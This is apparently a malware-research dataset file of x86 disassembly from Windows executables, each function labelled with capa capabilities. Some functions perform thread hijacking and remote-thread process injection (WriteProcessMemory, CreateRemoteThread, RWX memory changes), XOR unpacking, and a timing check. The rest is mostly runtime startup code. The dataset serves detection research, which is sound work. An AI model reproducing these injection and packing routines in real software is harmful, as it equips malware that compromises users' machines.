joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4015c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
sub esp, 0x114
push ebx
mov ebx, dword [esp + 0x120]
mov dword [0x408990], 0x10003
mov eax, dword [ebx + 4]
push 0x408990
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x4015f3
pop ebx
add esp, 0x114
ret
mov ecx, dword [ebx + 8]
push ebp
push ecx
call fcn.004013b0
mov ebp, eax
add esp, 4
test ebp, ebp
je 0x40167a
mov edx, dword [esp + 0x120]
push ebp
push edx
lea eax, [esp + 0x14]
push 0
push eax
call fcn.00401310
add esp, 0x10
test eax, eax
je 0x40167a
push 0x110
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
test eax, eax
mov dword [0x408c5c], eax
je 0x40167a
mov ecx, dword [ebx]
push 0x4085a4
push 0x40
push 0x110
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov edx, dword [0x408c5c]
mov eax, dword [ebx]
push 0x408598
push 0x110
push edx
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x401685
mov ecx, dword [0x408c5c]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop ebp
xor eax, eax
pop ebx
add esp, 0x114
ret
mov eax, dword [ebx]
push 0x4085a0
push 0x110
lea edx, [esp + 0x14]
push edx
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x40166d
push esi
push edi
mov ecx, 0xb3
mov esi, 0x408990
mov edi, 0x408c68
rep movsd dword es:[edi], dword [esi]
mov dword [0x408d20], ebp
mov edx, dword [ebx + 4]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp + 0xa]
mov dword [0x40887c], eax
mov dword [0x4085a8], 0x10003
lea ecx, [ecx]
push 0x32
call esi
mov ecx, dword [ebx + 4]
push 0x4085a8
push ecx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov edx, dword [0x408660]
cmp edx, dword [0x40887c]
jne 0x4016e0
mov eax, dword [0x408658]
mov dword [0x40859c], eax
mov ecx, dword [ebx + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
mov edx, dword [0x408c5c]
mov eax, dword [ebx]
push 0x4085a0
push 0x110
push edx
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
pop edi
pop esi
je 0x40166d
mov edx, dword [0x408c5c]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov ecx, dword [0x4085a4]
mov edx, dword [0x408c60]
lea eax, [esp + 8]
push eax
mov eax, dword [ebx]
push ecx
push 0x110
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov dword [0x408a48], ebp
mov ecx, dword [ebx + 4]
push 0x408990
push ecx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
neg eax
sbb eax, eax
pop ebp
neg eax
pop ebx
add esp, 0x114
ret
Function at 0x401790
Capabilities:
Create thread
Terminate process

Disassembly:
sub esp, 0x118
push ebx
push esi
push edi
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.VirtualAllocEx
push esi
call edi
push str.VirtualFreeEx
push esi
mov ebx, eax
call edi
mov edi, eax
test edi, edi
je 0x4018fd
test ebx, ebx
je 0x4018fd
mov esi, dword [esp + 0x12c]
mov eax, dword [esi]
push 0x40
push 0x1000
push 0x111
push 0
push eax
call ebx
test eax, eax
mov dword [0x408c60], eax
je 0x401824
mov ecx, dword [esp + 0x128]
push eax
push ecx
lea edx, [esp + 0x18]
push edx
push 0
call fcn.00401310
mov ecx, dword [esi]
add esp, 0x10
test eax, eax
mov eax, dword [0x408c60]
jne 0x401830
push 0x4000
push 0x111
push eax
push ecx
call edi
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x118
ret
push 0x4085a0
push 0x111
lea edx, [esp + 0x18]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x40186d
push 0x4000
push 0x111
mov edx, dword [0x408c60]
mov eax, dword [esi]
push edx
push eax
call edi
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x118
ret
mov eax, dword [0x408c60]
mov edx, dword [esi]
lea ecx, [esp + 0xc]
push ecx
push 0
push 0
push eax
push 0
push 0
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ebx, eax
test ebx, ebx
jne 0x4018b0
mov eax, dword [0x408c60]
mov ecx, dword [esi]
push 0x4000
push 0x111
push eax
push ecx
call edi
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x118
ret
push 0xffffffffffffffff
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x40859c
push ebx
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
push 0x4000
push 0x111
je 0x401855
mov ecx, dword [0x408c60]
mov edx, dword [esi]
push ecx
push edx
call edi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x40859c]
pop edi
xor eax, eax
test ecx, ecx
pop esi
setne al
pop ebx
add esp, 0x118
ret
push 0
push 0
push str.couldnt_import_virtualallocex
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x401a45
Capabilities:
Accept command line arguments
Parse pe header
Terminate process

Disassembly:
push 0x60
push 0x406320
call fcn.004027d0
mov edi, 0x94
mov eax, edi
call fcn.00402930
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [esi], edi
push esi
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ecx, dword [esi + 0x10]
mov dword [0x408f60], ecx
mov eax, dword [esi + 4]
mov dword [0x408f6c], eax
mov edx, dword [esi + 8]
mov dword [0x408f70], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
mov dword [0x408f64], esi
cmp ecx, 2
je 0x401aa5
or esi, 0x8000
mov dword [0x408f64], esi
shl eax, 8
add eax, edx
mov dword [0x408f68], eax
xor esi, esi
push esi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x401ae0
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401ae0
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x401af8
cmp eax, 0x20b
je 0x401ae5
mov dword [ebp - 0x1c], esi
jmp 0x401b0c
cmp dword [ecx + 0x84], 0xe
jbe 0x401ae0
xor eax, eax
cmp dword [ecx + 0xf8], esi
jmp 0x401b06
cmp dword [ecx + 0x74], 0xe
jbe 0x401ae0
xor eax, eax
cmp dword [ecx + 0xe8], esi
setne al
mov dword [ebp - 0x1c], eax
push esi
call fcn.0040277e
pop ecx
test eax, eax
jne 0x401b38
cmp dword [0x408f50], 1
jne 0x401b25
call fcn.00401f33
push 0x1c
call fcn.00401dbc
push 0xff
call fcn.00401c21
pop ecx
pop ecx
call fcn.004026dc
mov dword [ebp - 4], esi
call fcn.00402531
test eax, eax
jge 0x401b51
push 0x1b
call fcn.00401a20
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x4094d4], eax
call fcn.0040240f
mov dword [0x408f48], eax
call fcn.0040236d
test eax, eax
jge 0x401b77
push 8
call fcn.00401a20
pop ecx
call fcn.0040213a
test eax, eax
jge 0x401b88
push 9
call fcn.00401a20
pop ecx
push 1
call fcn.00401c51
pop ecx
mov dword [ebp - 0x28], eax
cmp eax, esi
je 0x401b9e
push eax
call fcn.00401a20
pop ecx
mov dword [ebp - 0x44], esi
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.004020dd
mov dword [ebp - 0x20], eax
test byte [ebp - 0x44], 1
je 0x401bbf
movzx eax, word [ebp - 0x40]
jmp 0x401bc2
push 0xa
pop eax
push eax
push dword [ebp - 0x20]
push esi
push esi
call edi
push eax
call fcn.004012a0
mov edi, eax
mov dword [ebp - 0x2c], edi
cmp dword [ebp - 0x1c], esi
jne 0x401be0
push edi
call fcn.00401d7c
call fcn.00401d9e
jmp 0x401c12
or dword [ebp - 4], 0xffffffff
mov eax, edi
lea esp, [ebp - 0x7c]
call fcn.0040280b
ret
Function at 0x401cbb
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
inc esi
cmp dword [0x408fa0], esi
push edi
jne 0x401cdb
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp dword [ebp + 0xc], 0
mov al, byte [ebp + 0x10]
mov dword [0x408f9c], esi
mov byte [0x408f98], al
jne 0x401d41
mov ecx, dword [0x4094c8]
test ecx, ecx
je 0x401d22
mov eax, dword [0x4094c4]
sub eax, 4
cmp eax, ecx
jmp 0x401d1b
mov eax, dword [eax]
test eax, eax
je 0x401d0d
call eax
mov eax, dword [0x4094c4]
sub eax, 4
cmp eax, dword [0x4094c8]
mov dword [0x4094c4], eax
jae 0x401d05
mov eax, 0x40801c
mov esi, 0x408020
cmp eax, esi
mov edi, eax
jae 0x401d41
mov eax, dword [edi]
test eax, eax
je 0x401d3a
call eax
add edi, 4
cmp edi, esi
jb 0x401d32
mov eax, 0x408024
mov esi, 0x408028
cmp eax, esi
mov edi, eax
jae 0x401d60
mov eax, dword [edi]
test eax, eax
je 0x401d59
call eax
add edi, 4
cmp edi, esi
jb 0x401d51
cmp dword [ebp + 0x10], 0
pop edi
pop esi
jne 0x401d7a
push dword [ebp + 8]
mov dword [0x408fa0], 1
call fcn.00401c21
pop ebp
ret

Function at 0x401dbc
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x8c]
sub esp, 0x10c
mov eax, dword [0x408180]
mov ecx, dword [ebp + 0x94]
push ebx
push esi
mov dword [ebp + 0x88], eax
xor edx, edx
push edi
xor eax, eax
cmp ecx, dword [eax*8 + 0x408048]
je 0x401df1
inc eax
cmp eax, 0x13
jb 0x401de2
mov esi, eax
shl esi, 3
cmp ecx, dword [esi + 0x408048]
jne 0x401f17
mov eax, dword [0x408f50]
cmp eax, 1
je 0x401eef
cmp eax, edx
jne 0x401e21
cmp dword [0x408044], 1
je 0x401eef
cmp ecx, 0xfc
je 0x401f17
push 0x104
lea eax, [ebp - 0x80]
push eax
push edx
mov byte [ebp + 0x84], dl
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x401e57
lea eax, [ebp - 0x80]
push str._program_name_unknown_
push eax
call fcn.00402b30
pop ecx
pop ecx
lea edi, [ebp - 0x80]
mov eax, edi
push eax
call fcn.00402d60
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x401e8b
mov eax, edi
push eax
call fcn.00402d60
mov edi, eax
lea eax, [ebp - 0x80]
sub eax, 0x3b
push 3
add edi, eax
push 0x406738
push edi
call fcn.00402c30
add esp, 0x10
push edi
call fcn.00402d60
push dword [esi + 0x40804c]
mov ebx, eax
call fcn.00402d60
lea eax, [ebx + eax + 0x1c]
pop ecx
add eax, 3
pop ecx
and eax, 0xfffffffc
call fcn.00402930
mov ebx, esp
push str.Runtime_Error__n_nProgram:
push ebx
call fcn.00402b30
push edi
push ebx
call fcn.00402b40
push 0x406718
push ebx
call fcn.00402b40
push dword [esi + 0x40804c]
push ebx
call fcn.00402b40
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebx
call fcn.00402a29
add esp, 0x2c
jmp 0x401f17
push edx
lea eax, [ebp + 0x94]
push eax
lea esi, [esi + 0x40804c]
push dword [esi]
call fcn.00402d60
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea esp, [ebp - 0x8c]
mov ecx, dword [ebp + 0x88]
call fcn.00402e1c
pop edi
pop esi
pop ebx
add ebp, 0x8c
leave
ret
Function at 0x402a29
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [0x4090bc], ebx
push esi
push edi
jne 0x402aa9
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x402ae4
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4067cc
push edi
call esi
test eax, eax
mov dword [0x4090bc], eax
je 0x402ae4
push str.GetActiveWindow
push edi
call esi
push str.GetLastActivePopup
push edi
mov dword [0x4090c0], eax
call esi
cmp dword [0x408f60], 2
mov dword [0x4090c4], eax
jne 0x402aa9
push str.GetUserObjectInformationA
push edi
call esi
test eax, eax
mov dword [0x4090cc], eax
je 0x402aa9
push str.GetProcessWindowStation
push edi
call esi
mov dword [0x4090c8], eax
mov eax, dword [0x4090c8]
test eax, eax
je 0x402aee
call eax
test eax, eax
je 0x402ad5
lea ecx, [ebp - 4]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [0x4090cc]
test eax, eax
je 0x402ad5
test byte [ebp - 8], 1
jne 0x402aee
cmp dword [0x408f6c], 4
jb 0x402ae8
or byte [ebp + 0x12], 0x20
jmp 0x402b0d
xor eax, eax
jmp 0x402b1d
or byte [ebp + 0x12], 4
jmp 0x402b0d
mov eax, dword [0x4090c0]
test eax, eax
je 0x402b0d
call eax
mov ebx, eax
test ebx, ebx
je 0x402b0d
mov eax, dword [0x4090c4]
test eax, eax
je 0x402b0d
push ebx
call eax
mov ebx, eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [0x4090bc]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40426e
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 8]
test bl, 3
jne 0x40429c
mov eax, dword fs:[0x18]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
cmp ebx, ecx
mov dword [ebp - 4], ecx
jb 0x4042a3
cmp ebx, dword [eax + 4]
jae 0x4042a3
xor eax, eax
jmp 0x404493
push edi
mov edi, dword [esi + 0xc]
cmp edi, 0xffffffff
jne 0x4042b4
xor eax, eax
inc eax
jmp 0x404492
xor edx, edx
mov dword [ebp + 8], edx
mov eax, ebx
mov ecx, dword [eax]
cmp ecx, 0xffffffff
je 0x4042ca
cmp ecx, edx
jae 0x40440f
cmp dword [eax + 4], 0
je 0x4042d3
inc dword [ebp + 8]
inc edx
add eax, 0xc
cmp edx, edi
jbe 0x4042bb
cmp dword [ebp + 8], 0
je 0x4042f5
mov eax, dword [esi - 8]
cmp eax, dword [ebp - 4]
jb 0x40440f
cmp eax, esi
jae 0x40440f
mov eax, dword [0x4090d8]
mov edi, ebx
and edi, 0xfffff000
xor esi, esi
test eax, eax
jle 0x40431a
cmp dword [esi*4 + 0x4090e0], edi
je 0x404413
inc esi
cmp esi, eax
jl 0x404308
push 0x1c
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x40448f
cmp dword [ebp - 8], 0x1000000
jne 0x40448f
test byte [ebp - 0xc], 0xcc
je 0x404398
mov ecx, dword [ebp - 0x1c]
cmp word [ecx], 0x5a4d
jne 0x40448f
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x40448f
cmp word [eax + 0x18], 0x10b
jne 0x40448f
sub ebx, ecx
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
lea ecx, [ecx + eax + 0x18]
jbe 0x40448f
mov eax, dword [ecx + 0xc]
cmp ebx, eax
jb 0x404398
mov edx, dword [ecx + 8]
add edx, eax
cmp ebx, edx
jae 0x404398
test byte [ecx + 0x27], 0x80
jne 0x40440f
push 1
push 0x409120
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
test eax, eax
jne 0x4042ac
mov ecx, dword [0x4090d8]
test ecx, ecx
mov edx, ecx
jle 0x4043cc
lea eax, [ecx*4 + 0x4090dc]
cmp dword [eax], edi
je 0x4043cc
dec edx
sub eax, 4
test edx, edx
jg 0x4043c0
test edx, edx
jne 0x4043fd
push 0xf
pop ebx
cmp ecx, ebx
jg 0x4043d9
mov ebx, ecx
xor edx, edx
test ebx, ebx
jl 0x4043f1
lea eax, [edx*4 + 0x4090e0]
mov esi, dword [eax]
inc edx
cmp edx, ebx
mov dword [eax], edi
mov edi, esi
jle 0x4043df
cmp ecx, 0x10
jge 0x4043fd
inc ecx
mov dword [0x4090d8], ecx
push 0
push 0x409120
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
jmp 0x4042ac
xor eax, eax
jmp 0x404492
test esi, esi
jle 0x4042ac
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 1
push 0x409120
call ebx
test eax, eax
jne 0x4042ac
cmp dword [esi*4 + 0x4090e0], edi
je 0x404469
mov eax, dword [0x4090d8]
lea esi, [eax - 1]
test esi, esi
jl 0x404457
cmp dword [esi*4 + 0x4090e0], edi
je 0x404453
dec esi
jns 0x404447
test esi, esi
jge 0x404467
cmp eax, 0x10
jge 0x404462
inc eax
mov dword [0x4090d8], eax
lea esi, [eax - 1]
jmp 0x404469
je 0x404481
xor ecx, ecx
test esi, esi
jl 0x404481
lea eax, [ecx*4 + 0x4090e0]
mov edx, dword [eax]
inc ecx
cmp ecx, esi
mov dword [eax], edi
mov edi, edx
jle 0x40446f
push 0
push 0x409120
call ebx
jmp 0x4042ac
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40531c
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
push 4
pop eax
call fcn.00402930
mov esi, esp
push 0x1c
lea eax, [ebp - 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x4053b7
mov ebx, dword [ebp - 0x24]
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x48]
mov eax, dword [0x408f60]
lea edi, [ecx - 1]
not edi
and edi, esi
sub edi, ecx
mov esi, eax
dec esi
neg esi
sbb esi, esi
and esi, 0xfffffff1
add esi, 0x11
imul esi, ecx
add esi, ebx
cmp edi, esi
mov dword [ebp - 8], ecx
jb 0x4053b7
cmp eax, 1
je 0x4053d8
mov dword [ebp - 4], ebx
mov ebx, 0x1000
push 0x1c
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x4053b7
mov eax, dword [ebp - 0x1c]
add dword [ebp - 4], eax
test dword [ebp - 0x18], ebx
je 0x405384
test byte [ebp - 0x13], 1
mov eax, dword [ebp - 0x28]
mov dword [ebp - 4], eax
je 0x4053b3
xor eax, eax
inc eax
jmp 0x4053f7
cmp edi, eax
jae 0x4053bb
xor eax, eax
jmp 0x4053f7
cmp eax, esi
jae 0x4053c2
mov dword [ebp - 4], esi
push 4
push ebx
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [0x408f60]
jmp 0x4053db
mov dword [ebp - 4], edi
dec eax
neg eax
sbb eax, eax
and eax, 0x103
lea ecx, [ebp - 0xc]
push ecx
inc eax
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x58]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401300
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
sub esp, 0x10
push esi
push 0
push 1
push 2
mov esi, ecx
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 0x878], eax
xor eax, eax
mov ax, word [esi + 0x1c]
mov word [esp + 4], 2
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 6], ax
cmp dword [esi + 0x18], 0x10
jb 0x40133c
mov eax, dword [esi + 4]
jmp 0x40133f
lea eax, [esi + 4]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov edx, dword [esi + 0x878]
push 0x10
lea ecx, [esp + 8]
push ecx
push edx
mov dword [esp + 0x14], eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
setne al
pop esi
add esp, 0x10
ret

Function at 0x40217b
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x28
push 0x403350
call fcn.00402648
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp word [eax], 0x5a4d
jne 0x4021b6
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4021b6
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x4021ce
cmp eax, 0x20b
je 0x4021bb
mov dword [ebp - 0x1c], edi
jmp 0x4021e2
cmp dword [ecx + 0x84], 0xe
jbe 0x4021b6
xor eax, eax
cmp dword [ecx + 0xf8], edi
jmp 0x4021dc
cmp dword [ecx + 0x74], 0xe
jbe 0x4021b6
xor eax, eax
cmp dword [ecx + 0xe8], edi
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], edi
push 1
call dword [sym.imp.MSVCR71.dll___set_app_type]
pop ecx
or dword [0x4050b4], 0xffffffff
or dword [0x4050b8], 0xffffffff
call dword [sym.imp.MSVCR71.dll___p__fmode]
mov ecx, dword [0x4050ac]
mov dword [eax], ecx
call dword [sym.imp.MSVCR71.dll___p__commode]
mov ecx, dword [0x4050a8]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCR71.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x4050b0], eax
call fcn.004025a2
call fcn.00402642
cmp dword [0x405090], edi
jne 0x402242
push fcn.00402642
call dword [sym.imp.MSVCR71.dll___setusermatherr]
pop ecx
call fcn.00402630
push 0x40500c
push 0x405008
call sub.MSVCR71.dll__initterm
push 0x4025e6
call fcn.00402590
mov eax, dword [0x4050a4]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
push dword [0x4050a0]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.MSVCR71.dll___getmainargs]
add esp, 0x20
mov dword [ebp - 0x34], eax
cmp eax, edi
jge 0x402296
push 8
call sub.MSVCR71.dll__amsg_exit
pop ecx
push 0x405004
push section..data
call sub.MSVCR71.dll__initterm
call dword [sym.imp.MSVCR71.dll___p___initenv]
mov ecx, dword [ebp - 0x20]
mov dword [eax], ecx
push dword [ebp - 0x20]
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
call fcn.00401000
add esp, 0x14
mov esi, eax
mov dword [ebp - 0x38], esi
cmp dword [ebp - 0x1c], edi
jne 0x4022d2
push esi
call dword [sym.imp.MSVCR71.dll_exit]
call dword [sym.imp.MSVCR71.dll__cexit]
jmp 0x402307
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.00402683
ret
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40de38
nop
nop
mov ecx, 0x195c6e43
nop
nop
test eax, eax
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x433024
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x71af361a
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x4032b9
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push ebx
push esi
mov esi, dword [ebp + 0x14]
push edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 8], esi
test edi, edi
jne 0x4032d9
mov dword [ebp - 8], 0x8000
and dword [ebp - 4], 0
mov dword [ebp - 0xc], edi
test edi, edi
jne 0x4032eb
mov dword [ebp - 0xc], 0x434220
mov eax, dword [ebp + 8]
test eax, eax
jl 0x403300
mov ecx, dword [0x476f58]
add ecx, eax
push ecx
call fcn.004034ea
lea eax, [ebp + 0x14]
push 4
push eax
call fcn.004034d4
test eax, eax
je 0x4034c2
test byte [ebp + 0x17], 0x80
je 0x40346d
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
call ebx
and dword [0x41eb84], 0
and dword [0x41eb80], 0
and dword [ebp + 0x14], 0x7fffffff
mov dword [ebp - 0x10], eax
mov eax, 0x420208
mov dword [0x41e668], 8
mov dword [0x428210], eax
mov dword [0x42820c], eax
mov eax, dword [ebp + 0x14]
mov dword [0x428208], 0x428208
mov dword [ebp + 8], eax
jle 0x4034ca
mov esi, 0x4000
cmp dword [ebp + 0x14], esi
jge 0x403379
mov esi, dword [ebp + 0x14]
mov edi, 0x430220
push esi
push edi
call fcn.004034d4
test eax, eax
je 0x4034c2
sub dword [ebp + 0x14], esi
mov dword [0x41e658], edi
mov dword [0x41e65c], esi
mov edi, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
push 0x41e658
mov dword [0x41e660], edi
mov dword [0x41e664], eax
call fcn.00406aa6
test eax, eax
mov dword [ebp - 0x14], eax
jl 0x403465
mov esi, dword [0x41e660]
sub esi, edi
call ebx
test byte [0x476fb4], 1
mov edi, eax
je 0x403420
sub eax, dword [ebp - 0x10]
cmp eax, 0xc8
ja 0x4033e7
cmp dword [ebp + 0x14], 0
jne 0x403420
mov eax, dword [ebp + 8]
push dword [ebp + 8]
sub eax, dword [ebp + 0x14]
push 0x64
push eax
call dword [sym.imp.KERNEL32.dll_MulDiv]
push eax
lea eax, [ebp - 0x94]
push str....__d__
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x94]
push eax
push 0
call fcn.004055dc
mov dword [ebp - 0x10], edi
test esi, esi
je 0x403459
cmp dword [ebp + 0x10], 0
jne 0x40343f
push esi
push dword [ebp - 0xc]
push dword [ebp + 0xc]
call fcn.004060f9
test eax, eax
je 0x403469
add dword [ebp - 4], esi
jmp 0x40344d
mov eax, dword [0x41e660]
add dword [ebp - 4], esi
sub dword [ebp - 8], esi
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0x14], 1
jne 0x40339c
jmp 0x4034ca
cmp dword [ebp + 0x14], 0
jg 0x40336c
jmp 0x4034ca
push 0xfffffffffffffffc
jmp 0x4034c4
push 0xfffffffffffffffe
jmp 0x4034c4
test edi, edi
jne 0x4034af
cmp dword [ebp + 0x14], edi
jle 0x4034ca
mov ebx, dword [ebp - 8]
cmp dword [ebp + 0x14], ebx
mov esi, dword [ebp + 0x14]
jl 0x403483
mov esi, ebx
mov edi, 0x430220
push esi
push edi
call fcn.004034d4
test eax, eax
je 0x4034c2
push esi
push edi
push dword [ebp + 0xc]
call fcn.004060f9
test eax, eax
je 0x403469
add dword [ebp - 4], esi
sub dword [ebp + 0x14], esi
cmp dword [ebp + 0x14], 0
jg 0x403479
jmp 0x4034ca
cmp dword [ebp + 0x14], esi
jge 0x4034b7
mov esi, dword [ebp + 0x14]
push esi
push edi
call fcn.004034d4
test eax, eax
jne 0x4034c7
push 0xfffffffffffffffd
pop eax
jmp 0x4034cd
mov dword [ebp - 4], esi
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 0x10